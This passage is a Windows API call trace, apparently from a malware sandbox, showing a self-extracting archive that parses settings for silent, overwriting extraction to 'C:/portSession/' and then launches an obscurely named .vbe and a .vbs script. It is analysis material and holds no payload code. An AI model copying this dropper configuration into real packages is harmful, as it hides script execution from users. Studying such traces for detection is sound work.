hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x175d94*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175d94*=0) returned 0x4b008 [0070.369] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd9400 [0070.369] ReadFile (in: hFile=0x228, lpBuffer=0x4bd9400, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x173c54, lpOverlapped=0x0 | out: lpBuffer=0x4bd9400*, lpNumberOfBytesRead=0x173c54*=0x7, lpOverlapped=0x0) returned 1 [0070.369] ReadFile (in: hFile=0x228, lpBuffer=0x4bd9407, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x173c54, lpOverlapped=0x0 | out: lpBuffer=0x4bd9407*, lpNumberOfBytesRead=0x173c54*=0xa, lpOverlapped=0x0) returned 1 [0070.370] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd9400 | out: hHeap=0x4bc0000) returned 1 [0070.370] SetFilePointer (in: hFile=0x228, lDistanceToMove=307225, lpDistanceToMoveHigh=0x175d74*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x175d74*=0) returned 0x4b019 [0070.370] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x175da0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175da0*=0) returned 0x4b019 [0070.371] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x175d94*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175d94*=0) returned 0x4b019 [0070.371] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd9630 [0070.371] ReadFile (in: hFile=0x228, lpBuffer=0x4bd9630, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x173c54, lpOverlapped=0x0 | out: lpBuffer=0x4bd9630*, lpNumberOfBytesRead=0x173c54*=0x7, lpOverlapped=0x0) returned 1 [0070.371] ReadFile (in: hFile=0x228, lpBuffer=0x4bd9637, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x173c54, lpOverlapped=0x0 | out: lpBuffer=0x4bd9637*, lpNumberOfBytesRead=0x173c54*=0x11, lpOverlapped=0x0) returned 1 [0070.372] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd9630 | out: hHeap=0x4bc0000) returned 1 [0070.372] SetFilePointer (in: hFile=0x228, lDistanceToMove=307352, lpDistanceToMoveHigh=0x175d74*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x175d74*=0) returned 0x4b098 [0070.372] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x175d94*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175d94*=0) returned 0x4b098 [0070.372] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd9630 [0070.372] ReadFile (in: hFile=0x228, lpBuffer=0x4bd9630, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x173c54, lpOverlapped=0x0 | out: lpBuffer=0x4bd9630*, lpNumberOfBytesRead=0x173c54*=0x7, lpOverlapped=0x0) returned 1 [0070.372] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd9630, Size=0x48) returned 0x4bea0f0 [0070.372] ReadFile (in: hFile=0x228, lpBuffer=0x4bea0f7, nNumberOfBytesToRead=0x21, lpNumberOfBytesRead=0x173c54, lpOverlapped=0x0 | out: lpBuffer=0x4bea0f7*, lpNumberOfBytesRead=0x173c54*=0x21, lpOverlapped=0x0) returned 1 [0070.373] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bea0f0 | out: hHeap=0x4bc0000) returned 1 [0070.373] SetFilePointer (in: hFile=0x228, lDistanceToMove=307225, lpDistanceToMoveHigh=0x175d80*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x175d80*=0) returned 0x4b019 [0070.373] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x175de4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175de4*=0) returned 0x4b019 [0070.373] SetFilePointer (in: hFile=0x228, lDistanceToMove=307225, lpDistanceToMoveHigh=0x175db0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x175db0*=0) returned 0x4b019 [0070.373] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x175db0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175db0*=0) returned 0x4b019 [0070.373] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94f0 [0070.373] ReadFile (in: hFile=0x228, lpBuffer=0x4bd94f0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x173c70, lpOverlapped=0x0 | out: lpBuffer=0x4bd94f0*, lpNumberOfBytesRead=0x173c70*=0x7, lpOverlapped=0x0) returned 1 [0070.373] ReadFile (in: hFile=0x228, lpBuffer=0x4bd94f7, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x173c70, lpOverlapped=0x0 | out: lpBuffer=0x4bd94f7*, lpNumberOfBytesRead=0x173c70*=0x11, lpOverlapped=0x0) returned 1 [0070.374] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd94f0 | out: hHeap=0x4bc0000) returned 1 [0070.376] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x8003) returned 0x4c00af8 [0070.376] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x8003) returned 0x4c08b08 [0070.377] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x40000) returned 0x4c10b18 [0070.384] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x67) returned 0x4beea28 [0070.384] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xb54) returned 0x4bf4560 [0070.384] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x100000) returned 0x7c4b020 [0070.388] ReadFile (in: hFile=0x228, lpBuffer=0x7c4b020, nNumberOfBytesToRead=0x67, lpNumberOfBytesRead=0x1675f8, lpOverlapped=0x0 | out: lpBuffer=0x7c4b020*, lpNumberOfBytesRead=0x1675f8*=0x67, lpOverlapped=0x0) returned 1 [0070.388] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.389] GetProcAddress (hModule=0x74ec0000, lpProcName="PeekMessageW") returned 0x74edcc00 [0070.389] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x167580 | out: lpflOldProtect=0x167580*=0x4) returned 1 [0070.389] PeekMessageW (in: lpMsg=0x167604, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x167604) returned 1 [0070.390] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.390] GetProcAddress (hModule=0x74ec0000, lpProcName="GetMessageW") returned 0x74ef4f60 [0070.391] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x167584 | out: lpflOldProtect=0x167584*=0x4) returned 1 [0070.391] GetMessageW (in: lpMsg=0x167604, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x167604) returned 1 [0070.391] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.392] GetProcAddress (hModule=0x74ec0000, lpProcName="IsDialogMessageW") returned 0x74ee9b00 [0070.392] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16758c | out: lpflOldProtect=0x16758c*=0x4) returned 1 [0070.392] IsDialogMessageW (hDlg=0x701ec, lpMsg=0x167604) returned 1 [0070.395] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.395] PeekMessageW (in: lpMsg=0x167610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x167610) returned 1 [0070.395] GetMessageW (in: lpMsg=0x167610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x167610) returned 1 [0070.395] IsDialogMessageW (hDlg=0x701ec, lpMsg=0x167610) returned 0 [0070.395] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.395] GetProcAddress (hModule=0x74ec0000, lpProcName="TranslateMessage") returned 0x74edd9b0 [0070.396] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16759c | out: lpflOldProtect=0x16759c*=0x4) returned 1 [0070.396] TranslateMessage (lpMsg=0x167610) returned 0 [0070.396] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.396] GetProcAddress (hModule=0x74ec0000, lpProcName="DispatchMessageW") returned 0x74ed62e0 [0070.397] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16759c | out: lpflOldProtect=0x16759c*=0x4) returned 1 [0070.397] DispatchMessageW (lpMsg=0x167610) returned 0x0 [0070.397] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.397] PeekMessageW (in: lpMsg=0x1675fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1675fc) returned 0 [0070.397] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.408] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x7c4b020 | out: hHeap=0x4bc0000) returned 1 [0070.490] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c10b18 | out: hHeap=0x4bc0000) returned 1 [0070.491] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c08b08 | out: hHeap=0x4bc0000) returned 1 [0070.492] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c00af8 | out: hHeap=0x4bc0000) returned 1 [0070.494] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4beea28, Size=0xa0) returned 0x4beea28 [0070.494] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xd0) returned 0x4bf50c0 [0070.495] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4beea28 | out: hHeap=0x4bc0000) returned 1 [0070.495] SetFilePointer (in: hFile=0x228, lDistanceToMove=307225, lpDistanceToMoveHigh=0x175dc4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x175dc4*=0) returned 0x4b019 [0070.495] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xce) returned 0x4beea28 [0070.495] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf50c0 | out: hHeap=0x4bc0000) returned 1 [0070.496] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf8800 | out: hHeap=0x4bc0000) returned 1 [0070.500] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf23d0 | out: hHeap=0x4bc0000) returned 1 [0070.501] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf3498 | out: hHeap=0x4bc0000) returned 1 [0070.502] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf4560 | out: hHeap=0x4bc0000) returned 1 [0070.502] CloseHandle (hObject=0x228) returned 1 [0070.502] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x15fdc4, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0070.502] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0070.503] ExpandEnvironmentStringsW (in: lpSrc="\"C:/portSession/\"", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="\"C:/portSession/\"") returned 0x12 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0070.503] ExpandEnvironmentStringsW (in: lpSrc="lBH8Ae92LPQZTdOYGlDr.vbe", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="lBH8Ae92LPQZTdOYGlDr.vbe") returned 0x19 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.504] ExpandEnvironmentStringsW (in: lpSrc="\"file.vbs\"", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="\"file.vbs\"") returned 0xb [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0070.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0070.505] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="U") returned 0x2 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0070.505] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x15fdc4, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0070.506] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0070.506] ExpandEnvironmentStringsW (in: lpSrc="\"C:/portSession/\"", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="\"C:/portSession/\"") returned 0x12 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0070.506] GetDlgItem (hDlg=0x701ec, nIDDlgItem=102) returned 0x5004c [0070.506] SetWindowTextW (hWnd=0x5004c, lpString="C:/portSession/") returned 1 [0070.528] SendMessageW (hWnd=0x5004c, Msg=0x143, wParam=0x0, lParam=0xa5a472) returned 0x0 [0070.529] ExpandEnvironmentStringsW (in: lpSrc="lBH8Ae92LPQZTdOYGlDr.vbe", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="lBH8Ae92LPQZTdOYGlDr.vbe") returned 0x19 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.529] ExpandEnvironmentStringsW (in: lpSrc="\"file.vbs\"", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="\"file.vbs\"") returned 0xb [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.529] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0070.530] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="U") returned 0x2 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", 